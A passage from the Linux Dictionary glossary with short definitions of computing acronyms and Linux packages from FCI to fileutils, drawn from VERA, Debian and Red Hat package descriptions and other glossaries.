<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FCI

Forward Cache Identifier (CATNIP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fcmp

Free media files for FreeCraft. These are a set of free sounds and graphics for FreeCraft, a clone of the realtime fantasy strategy game, WarCraft II, from Blizzard Entertainment. These files come from the FreeCraft Media Project, reachable at <http://www.freecraft.net/fcmp> . Note that this version contains almost all the files needed for a fair game experience, and has not anything to do with WarCraft II data (in fact spoofs it), as it's completely free. This is the last stable snapshot from the CVS repository. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FCO

Flow Control Operator Bits (DLSW) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FCS

Frame Check Sum (MODEM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Fd Linux

Fd Linux is a very tiny floppy distribution of Linux, set to fit on one floppy disk (kernel and root fs are combined!). All binaries are based on Red Hat. Version 2.1-0 was released March 12, 2002.

Version 3.0-0 was released March 10, 2003. A floppy-based distribution. From LWN Distribution

List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fda

C malloc debug library Provides routines that can be plugged in to replace malloc(), realloc(), calloc(), and free(). If you're not debugging, and an allocation fails, FDA will call user supplied callbacks to allow you to free up some memory or shut down the program cleanly -- this means you don't have to check the return values from malloc if you don't want to. For debugging FDA provides a nice toolkit for validating pointers, checking for leaks, gathering memory statistics, bounds checking and other nice things. FDA uses shredding, prefix and postfix signatures, and a liberal amount of predicate asserts. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDA

FORTRAN Design Aid (FORTRAN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDAD

Functional Data ADministrator From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDC

Floppy Disk Controller (FDD) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fdclone

A console-base lightweight file manager FD(FD represents "File and Directory") is an easy-to-use file management tool for Un*x newbies. As its name shows, this is a rewrite from scratch - the original version was written by Atsushi Idei for MS-DOS(tm) and once very popular in Japan.

Messages are available either in English or in Japanese. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDCT

Fast Discrete Cosine Transformation (DCT) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDD

Floppy Disk Drive From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDDI

Fiber Distributed Data Interface (ANSI, ISO 8314) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDDI (Fiber Distributed Data Interface)

A standard for transmitting data on optical fiber cables at a rate of around 100,000,000 bits-per-second (10 times as fast as 10-BaseTEthernet, about twice as fast as T-3). See also: Ethernet, T-3 From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDDITPPMD

FDDI Twisted Pair-Physical layer, Medium Dependent, "FDDI TP-PMD" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDE

Full Duplex Ethernet (ethernet) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDES

Full Duplex EtherSwitch (Kalpana) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fdflush

A disk-flushing program. fdflush is a band-aid for floppy (or other) drivers with bad disk-change sensing. fdflush makes the system believe the disk-change switch has been triggered forcing the system to discard the buffered data. If you have one of these slightly-broken disk drives, you'll have to run fdflush every time you change a disk From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fdformat

Low-level formats a floppy disk From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDI

[fachverband der] Fuehrungskraefte der Druckindustrie und Informationsverarbeitung (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fdisk

Partition table manipulator for Linux From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDL

File Definition Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDL

Free Documentation License (GNU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fdlist

Floppy disk mount utility TQ From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDM

Frequency Division Multiplexing (FDM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDMA

Frequency Division Multiple Access (mobile-systems) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fdmount

Floppy disk mount utility TQ From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fdmountd

Floppy disk mount utility TQ From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDO

Functional Device Object From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fdrawcmd

send raw commands to the floppy disk controller TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDT

Formal Description Technique From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fdumount

Floppy disk mount utility TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fdupes

Identifies duplicate files within given directories. FDupes uses md5sums and then a byte by byte comparison to find duplicate files within a set of directories. It has several useful options including recursion. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fdutils

Linux floppy utilities This package contains utilities for configuring and debugging the Linux floppy driver, for formatting extra capacity disks (up to 1992K on a high density disk), for sending raw commands to the floppy controller, for automatic floppy disk mounting and unmounting, etc. Author: alain@linux.lu Released-date: 1999-07-03 Keywords: floppy 2m xdf superformat floppycontrol fdrawcmd URL: <http://www.tux.org/pub/knaff/fdutils/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fdutilsconfig

configure the suid bit of fdmount From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FDX

Full Duplex From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FE

Forschung und Entwicklung, "F&E" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FE

Functional Entity (IN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FEA

Functional Entity Action (IN, UNI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FEAL

Fast Data Encipherment Algorithm (DES, cryptography) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FEAST

Fast Data Enciphering Algorithm (cryptography) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FEBE

Far End Block Error (SONET) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FEC

Forward Error Correction (GSM, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FECN

Forward Explicit Congestion Notification (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FEFCO

??? From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

feh

imlib2 based image viewer feh is a fast, lightweight image viewer which uses imlib2. It is commandline-driven and supports multiple images through slideshows, thumbnail browsing or multiple windows, and montages or index prints (using truetype fonts to display file info). Advanced features include fast dynamic zooming, progressive loading, loading via HTTP (with reload support for watching webcams), recursive file opening (slideshow of a directory hierarchy), and mousewheel/keyboard control. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FEIT

Fujitsu Enhanced Imaging Technology (Fujitsu) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FEK

File Encryption Key (cryptography) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

felt

Package for introductory level finite element analysis. FElt is a free system for introductory level finite element analysis. It is primarily intended as a teaching tool for introductory type courses in finite elements – probably in the mechanical/structural/civil fields. In a command line environment, FElt uses an intuitive, straightforward input syntax to describe problems. It also includes a graphical user interface for workstations that allows the user to set-up, solve and post-process the problem in a single CAD-like environment. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FEM

Finite Element Methode From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FEN

Free-net Erlangen/Nuernberg From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FEP

Front End Processor From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FER

Forward Error Correction (satellite) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FERF

Far End Receive Failure (UNI, ATM, SONET, OAM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ferite

Ferite programming language Ferite is a language that incorporates the design philosophies of other languages, but without many of their drawbacks. It has strong similarities to perl, python, C, Java and pascal, while being both lightweight, modular, and embeddable. This package contains the ferite language interpreter. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ferm

maintain and setup complicated firewall rules ferm allows one to reduce the tedious task of carefully inserting rules and chains by a large factor, thus enabling the firewall administrator to spend more time on developing good rules than the proper implementation of the rule. ferm supports ipchains firewalls, ipfwadm rules and iptables firewalls. Changing to another system will be very easy, and ferm will help in the process. ferm compiles ready to go firewall-rules from a structured rule- setup. These rules will be executed by the preferred kernel interface, such as ipchains(8) and iptables(8). ferm will also add in modularizing firewalls, because it creates the possibility to split up the firewall into several different files, which can be reloaded at will, so you can dynamically adjust your rules. ferm, pronounced "firm", stands for "For Easy Rule Making". From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FESI

Federacion Espanola de Sociudades de Informatica (org., Spain) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

festival

speech synthesis system Festival is a general multi-lingual speech synthesis system. It offers a full text to speech system with various APIs, as well an environment for development and research of speech synthesis techniques. It includes a Scheme-based command interpreter. Besides research into speech synthesis, festival is useful as a stand-alone speech synthesis program. It is capable of producing clearly understandable speech from text. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FET

Field Effect Transistor From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fetchmail

Fetchmail is a remote mail retrieval and forwarding utility intended for use over on-demand TCP/IP links, like SLIP or PPP connections. Fetchmail supports every remote-mail protocol currently in use on the Internet (POP2, POP3, RPOP, APOP, KPOP, all IMAPs, ESMTP ETRN, IPv6, and IPSEC) for retrieval. Then Fetchmail forwards the mail through SMTP so you can read it through your favorite mail client. Install fetchmail if you need to retrieve mail over SLIP or PPP connections. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fetchmail

POP3, APOP, IMAP mail gatherer/forwarder (crypto-crippled binary) fetchmail is a free, full-featured, robust, and well-documented remote mail retrieval and forwarding utility intended to be used over on-demand TCP/IP links (such as SLIP or PPP connections). It retrieves mail from remote mail servers and forwards it to your local (client) machine's delivery system, so it can then be read by normal mail user agents such as mutt, elm, pine, (x)emacs/gnus, or mailx. The fetchmailconf package includes an interactive GUI configurator suitable for end-users. Kerberos IV & V, RPA, OPIE and GSSAPI support are available if the package is recompiled. SSL is provided by the fetchmail-ssl package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FF

Form(ular) Feed From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FFAPI

File Format API (MS, API) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FFC

Fully Formed Character [printer] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FFDC

First Failure Data Capture From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FFDT

FDDI Full Duplexing Technology (FDDI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ffingerd

a secure finger daemon ffingerd is a secure fingerd replacement. This version of the finger daemon is invoked by inetd, but it's not meant to be run as root. Requests that may indicate attacks are logged by ffinger through the syslog(3) facility. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FFOL

FDDI Follow-On-LAN From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FFS

Fallback Fault-tolerant Server (IBM, OS/2) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FFS

Fast File System (Amiga, Commodore) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Fast Filing System (BSD, Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FFS

Flexible Fertigungs-Systeme From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FFST2

First Failure Support Technology /2 (IBM), "FFST/2" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FFT

Final Form Text From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fftw2

Library for computing Fast Fourier Transforms This library computes Fast Fourier Transforms (FFT) in one or more dimensions. It is extremely fast. This package contains the shared library version of the fftw libraries in double precision. To get the static library and the header files you need to install fftw-dev. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fg

A built-in shell command that will take a suspended process and run it in the foreground. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FGA

Future Graphics Adapter (Spea) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fgconsole

print the number of the active VT. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FGCS

Fifth Generation Computer Systems [project] (ICOT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fgfs-base

Flight Gear Flight Simulator -- base files Flight Gear is a free and highly sophisticated flight simulator. This package contains graphics, sounds, aircraft models, and the minimum scenery you need to start Flight Gear. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FGREP

Fixed Global Regular Expression Print (Unix, GREP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fgrep

print lines matching a pattern From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FHGS

FreeHand Graphics Studio (Macromedia, DTP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fhist

File history, comparison and merge utilities The fhist package contains 3 utilities fhist - a file history tool fcomp - a file comparison tool fmerge - a file merging tool All three are bundled together, because they all use the same minimal-difference algorithm. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FHSS

F

Frequency Hopping Spread Spectrum (WLAN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FIA

Fiberoptic Industry Association (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Fiber Optic Cable

The transport fibres of glass or plastic that are enclosed by material of a lower index of refraction and that transmit light throughout their length by internal reflections. These fibres are bundled into cables and are capable of transmitting very large amounts of digital information (data) in both directions with very little loss in signal quality. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FIBU

FinanzBUchhaltung From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FIC

First International Computer [inc.] (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FID

File Identifier (APDU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FID

File Identifier Descriptor (UDF, CD-R) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fidelio

Gnome Hotline client. For more info on what Hotline is, see <<http://www.bigredh.com/>>. Essentially it is a file-sharing and communication protocol that lets you share your files, post messages, and chat realtime. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FIDO

Filter Device Object, "FiDO" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fidogate

Gateway Fido <-> Internet Fidogate is a Fido-Internet gateway and a Fido tosser. The gateway converts between the worlds of Fido NetMail/EchoMail (or FTNs, Fido Technology Networks in general) and the UNIX mail/news system. FIDOGATE will convert Fido mail packets to RFC822/1036-style messages and vice versa. FIDOGATE also includes a complete FIDO mail processor (NetMail/EchoMail scanner and tosser), an FTN-FTN gateway (NetMail only), a file processor (TIC file areas) and an Areafix/Filefix. Supports the Gatebau 94 standard. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Fidonet

A set of data exchange standards and procedures that permit privately operated copmputer bulletin board systems (BBSs) to exchange data, files, and electronic mail internationally, using the world telephone syste. At an agreed-on time when telephone rates are low, subscribing BBSs send e-mail messages and files to a regional host, which in turn distributes them to other bulletin boards. Responses, or echoes eventually find their way back to the host bulletin board. A popular Fidonet feature is EchoMail, a set of moderated conferences that cover a variety of popular subjects, such as Star Trek, model aircraft, and political issues. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

field

In text-processing, a segment of a line of text that may be named and processed by a program. The sort program can use fields when it sorts lines in a file. In Linux, fields are usually separated by spaces or tab. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

field separator

Linux Dictionary

A character, also called a delimiter, that is used to separate one field from another. The default field separator for many programs, such as sort, is a blank space (or a tab). From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FIF

Fractal Interchange Format From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FIFF

Forum Informatikerinnen Fuer den Frieden (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FIFO

First In First Out (CPU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fifteenapplet

fifteen pieces puzzle for KDE An applet for the KDE panel that lets you play the Fifteen Pieces sliding block puzzle. You have to order 15 pieces in a 4x4 square by moving them around. This package is part of the official KDE toys module. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FIG

Forth Interest Group (org., Forth) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

figlet

Frank, Ian & Glenn's Letters Figlet is a program that creates large characters out of ordinary screen characters. It can create characters in many different styles and can kern and "smush" these characters together in various ways. Figlet output is generally reminiscent of the sort of "signatures" many people like to put at the end of e-mail and Usenet messages. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FIGLET

Frank, Ian and Glenn's LETters (ASCII, fonts) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

figurine

an X11 vector graphics drawing program figurine is an X drawing program that is compatible with the xfig application. figurine is intended to be easier to use than xfig, while providing a similar set of features. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

File

A document or other collection of information stored on a disk and identified as a unit by a unique name. When you save a file, the disk may scatter the data among dozens or even hundreds of noncontiguous clusters. The file allocation table (FAT) is an index of the order in which those clusters are linked to equal a file. To the user, however files appear as units on disk directories and are retrieved and copied as units. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file

A piece of data stored as a single addressable object on a file system. Files can be executable, text or binary-based, and can also represent computer system hardware to be controlled by the operating system. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file

Determines file type using "magic" numbers File tests each argument in an attempt to classify it. There are three sets of tests, performed in this order: filesystem tests, magic number tests, and language tests. The first test that succeeds causes the file type to be printed. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FILE

Free Internet Lexicon and Encyclopedia (WWW, DICT) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file

F

The file command is used to identify a file according to the type of data it contains. File can identify many different file types, including ELF binaries, system libraries, RPM packages, and different graphics formats. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file

The file command is used to identify a particular file according to the type of data contained by the file. File can identify many different file types, including ELF binaries, system libraries, RPM packages, and different graphics formats. You should install the file package, since the file command is such a useful utility. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file allocation table (FAT)

A special file located in sector 0 on a disk that contains information about the sizes and locations of files stored on a disk. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

File attribute

A hidden code, stored with a file's directory, that contains the file's read-only or archive status and whether the file is a system, hidden, or directory archive. See archive attribute, hidden file, locked file, and read-only attribute. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

File compression utility

A utility program, such as PKZIP, StuffIt or DriveSpace, that compresses and decompresses infrequently used files so that they take up to 40 to 90 percent less room on a hard disk. You use another utility to decompress a file. Specialty file compression utilities that compress only certain types of files, such as downloadable font files, are also available. These programs usually load a special driver that remains in memory to decompress and recompress the files as needed. See archive, bulletin board system (BBSs), and compressed file. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

File conversion utility

A utility program that converts text or graphics files created with one program to the file format used by another program. The best application programs now include a conversion utility that can handle a dozen or more file formats. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file extension

In filenames, the group of letters after the period is called the file extension. From Linux Guide

@FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

File format

The patterns and standards that a program uses to store data on disk. Few programs store data in ASCII format. Most use a proprietary file format that other programs cannot read, ensuring that customers continue to use the company's program and enabling the programmers to include special features that standard formats might not allow. See file conversion utility and native file format. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

File fragmentation

The allocation of a file in noncontiguous sectors on a floppy or hard disk. Fragmentation occurs because of multiple file deletions and write operations. File fragmentation can seriously reduce disk efficiency, because a disk drive's read/write head must travel longer distances to retrieve a file that's scattered all over the disk. Defragmenting can improve disk efficiency by as much as 50 percent by rewriting files so that they are placed in contiguous clusters. See defragmentation. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

File Locking

Often, one would like a process to have exclusive access to a file. By this we mean that only one process can access the file at any one time. Consider a mail folder: if two processes were to write to the folder simultaneously, it could become corrupted. We also sometimes want to ensure that a

program can never be run twice at the same time; this insurance is another use for "locking." In the case of a mail folder, if the file is being written to, then no other process should try read it or write to it: and we would like to create a write lock on the file. However if the file is being read from, no other process should try to write to it: and we would like to create a read lock on the file. Write locks are sometimes called exclusive locks; read locks are sometimes called shared locks. Often, exclusive locks are preferred for simplicity. Locking can be implemented by simply creating a temporary file to indicate to other processes to wait before trying some kind of access. UNIX also has some more sophisticated builtin functions. From Rute-Users-Guide

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

File locking

On a network, a method of concurrency control that ensures the integrity of data. File locking prevents more than one user from accessing and altering a file at the same time. See Local Area Network (LAN). From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

File Manager

software that allows you to select, copy, move, and open files and directories in a graphical environment. From Linux Guide @FirstLinux Examples of file managers on Linux include konqueror for KDE and mc (Midnight Commander). The Windows equivalent would be Windows Explorer. From Binh <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file name

The name given to a file to distinguish one piece of data from others. Modern operating systems such as Red Hat Linux allow long and descriptive file names with few restrictions (for example, all alphanumeric characters and spaces are allowed). From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

File Ownerships

Each file on a system is owned by a particular user and also owned by a particular group. When you run `ls -al`, you can see the user that owns the file in the third column and the group that owns the file in the fourth column (these will often be identical, indicating that the file's group is a group to which only the user belongs). To change the ownership of the file, simply use the `chown`, `change` ownerships, command as follows. `chown <user>[:<group>] <filename>` From Rute-Users-Guide

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file server

A process that provides access to a file from remote devices. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

File server

In a Local Area Network (LAN), a computer that stores on its hard disk the application programs and data files for all workstations in the network. In a peer-to-peer network, all workstations act as file servers, because each workstation can provide files to other workstations. In the more common client/server architecture, a single, high-powered machine with a huge hard disk is set aside to function as the file server for all the workstations (clients) in the network. See Network Operating System (NOS). From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

File System

A set of programs that tells an operating system how to access and interpret the contents of a disk or tape drive, or other storage medium. Common file systems include: FAT and FAT-32 (DOS/Windows), HPFS (OS/2), NFS, NTFS (Windows NT/2000), and others. From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file system

The method in which an operating system organizes and manages files. Red Hat Linux uses a hierarchical file system in which files are stored in directories and subdirectories. From

Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file system

the physical or logical device that holds a collection of files and directories. This might be a hard disk drive or a partition on a disk drive. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

File Transfer Protocol (FTP)

A protocol used for transferring files between machines on networks such as LANs and the Internet. In a typical FTP session, a client logs onto an FTP server, views directory listings, and downloads files from the server. FTP sessions can either be anonymous or require authentication for access. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file type

A description of the function of a file. These types include ordinary files, directories, and special files, which represent devices in the system. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file-kanji

kanji code checker This package contains file2. File2 tests each argument in an attempt to classify it to JIS, EUC, SJIS, ascii and UNKNOWN. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file-rc

Alternative boot mechanism using a single configuration file This package provides an alternative mechanism to boot the system, to shut it down and to change runlevels. The /etc/rc?.d/* links will be converted into one single configuration file /etc/runlevel.conf instead, which is easier to administrate than symlinks, and is also more flexible. The package will automatically convert your existing symlinks into the file method on installation, and convert the file back into symlinks on removal. Both mechanisms are compatible through /etc/init.d/rc, /etc/init.d/rcS, /usr/sbin/update-rc.d, and /usr/sbin/invoke-rc.d scripts. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file-roller

File Roller is an archive manager for the GNOME environment. This means that you can : create and modify archives; view the content of an archive; view afile contained in the archive; extract files from the archive. File Roller is only a front-end (a graphical interface) to archiving programs like tar and zip. The supported file types are : Tar archives uncompressed (.tar) or compressed with gzip (.tar.gz , .tgz), bzip (.tar.bz , .tbz), bzip2 (.tar.bz2 , .tbz2), compress (.tar.Z , .taz), lzop (.tar.lzo , .tzo), Zip archives (.zip), Jar archives (.jar , .ear , .war), Lha archives (.lzh), Rar archives (.rar), Single files compressed with gzip, bzip, bzip2, compress, lzop From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

file-types-capplet

allows you to configure how files of various types should be handled. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

filemenu-applet

A directory navigation GNOME applet. File Menu Applet is a small GNOME panel application which creates a file manager. File Menu Applet is not designed to replace your existing file manager, but instead work with it. It supports standard drag and drop, GNOME file types, and Nautilus icons. One may use it for small tasks such a easily attaching files to emails in Evolution or Sylpheed by dragging them out of File Menu Applet into the composer window. It's also excellent for selecting songs to play from your MP3 or OGG collection. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Filename

A unique name assigned to a file when the file is written on a disk. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

filerunner

X-Based FTP program & file manager FileRunner is an X-Based FTP program. It gives you a windowed view of files on your local system and a remote system. It allows transferring multiple files

at once, tagging of files, etc. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Files

Common to every computer system invented is the file. A file holds a single contiguous block of data. Any kind of data can be stored in a file, and there is no data that cannot be stored in a file.

Furthermore, there is no kind of data that is stored anywhere else except in files. A file holds data of the same type, for instance, a single picture will be stored in one file. During production, this book had each chapter stored in a file. It is uncommon for different types of data (say, text and pictures) to be stored together in the same file because it is inconvenient. A computer will typically contain about 10,000 files that have a great many purposes. Each file will have its own name. The file name on a LINUX or UNIX machine can be up to 256 characters long. From Rute-Users-Guide

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

filesystem

The methods and data structures that an operating system uses to keep track of files on a disk or partition; the way the files are organized on the disk. Also used to describe a partition or disk that is used to store the files or the type of the filesystem. From Linux Administrator's Guide

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

filetraq

Small utility to keep track of changes in config files. FileTraq is just a shell script that reads a list of files to watch, runs diff against each file and its backup, and reports any discrepancies, along with keeping a dated backup of the original. It's designed to be run as a cron job. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fileutils

GNU file management utilities This package contains the essential system utilities to manipulate files on your system. Included in this package are commands to change the permissions on files, list the files in a directory, create new directories, and list free disk space, among other things. The specific utilities included are: chgrp chmod chown cp dd df dir dircolors du install ln ls mkdir mkfifo mknod mv rm rmdir shred touch vdir sync. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fileutils

The fileutils package includes a number of GNU versions of common and popular file management utilities. Fileutils includes the following tools: chgrp (changes a file's group ownership), chown (changes a file's ownership), chmod (changes a file's permissions), cp (copies files), dd (copies and converts files), df (shows a filesystem's disk usage), dir (gives a brief directory listing), dircolors (the setup program for the color version of the ls command), du (shows disk usage), install (copies files and sets permissions), ln (creates file links), ls (lists directory contents), mkdir (creates directories), mkfifo (creates FIFOs or named pipes), mknod (creates special files), mv (renames files), rm (removes/deletes files), rmdir (removes empty directories), sync (synchronizes memory and disk), touch (changes file timestamps), and vdir (provides long directory listings). From Redhat 8.0 RPM

